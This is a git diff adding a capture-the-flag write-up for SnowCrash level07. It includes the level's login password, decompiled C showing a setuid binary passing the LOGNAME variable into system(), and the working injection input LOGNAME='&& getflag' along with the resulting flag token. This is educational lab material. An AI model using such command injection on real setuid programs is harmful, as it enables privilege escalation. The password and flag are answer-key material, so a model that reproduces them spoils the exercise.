refactor(maiboyer): adding the maibaoyer directory

maiboyer/level07/README.md

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+# Level 07
+
+## how to login
+
+username: level07
+
+password: wiok45aaoguiboiki2tuin6ub
+
+## Goal
+
+run `getflag` as user `flag07`
+
+## Actually doing something
+
+```bash
+level07@SnowCrash:~$ ll
+total 24
+dr-x------ 1 level07 level07  120 Mar  5  2016 ./
+d--x--x--x 1 root    users    340 Aug 30  2015 ../
+-r-x------ 1 level07 level07  220 Apr  3  2012 .bash_logout*
+-r-x------ 1 level07 level07 3518 Aug 30  2015 .bashrc*
+-rwsr-sr-x 1 flag07  level07 8805 Mar  5  2016 level07*
+-r-x------ 1 level07 level07  675 Apr  3  2012 .profile*
+```
+
+seems like reverse engineering to me
+
+```bash
+level07@SnowCrash:~$ ./level07 
+level07
+```
+
+seems to be fun at parties indeed
+
+lets crack open ghidra
+
+
+```c
+int main(int argc,char **argv,char **envp)
+
+{
+  char *pcVar1;
+  int iVar2;
+  char *buffer;
+  gid_t gid;
+  uid_t uid;
+  char *local_1c;
+  __gid_t local_18;
+  __uid_t local_14;
+  
+  local_18 = getegid();
+  local_14 = geteuid();
+  setresgid(local_18,local_18,local_18);
+  setresuid(local_14,local_14,local_14);
+  local_1c = (char *)0x0;
+  pcVar1 = getenv("LOGNAME");
+  asprintf(&local_1c,"/bin/echo %s ",pcVar1);
+  iVar2 = system(local_1c);
+  return iVar2;
+}
+```
+we have the classic setuid dance at the begining of the function, then a call to `getenv`+`asprintf`+`system`
+
+I see a `system` so I know we are on track !
+
+but lets go in order and clean up the code a bit
+
+```c
+int main(int argc,char **argv,char **envp)
+{
+  char *env;
+  int ret;
+  char *str;
+
+  str = NULL;
+  env = getenv("LOGNAME");
+  asprintf(&str,"/bin/echo %s ",env);
+  ret = system(str);
+  return ret;
+}
+```
+
+already way better
+
+It looks like it does something like this:
+
+- Get the Varaible `LOGNAME`
+- Create a string that looks like `/bin/echo $LOGNAME` using asprintf
+  asprintf is a way to create an allocated string with the format a regular printf would output
+- call system to execute the created string
+
+To me this reeks of simple `&& getflag`, lets try it out !
+
+```bash
+level07@SnowCrash:~$ LOGNAME="&& getflag" ./level07 
+
+Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
+```
+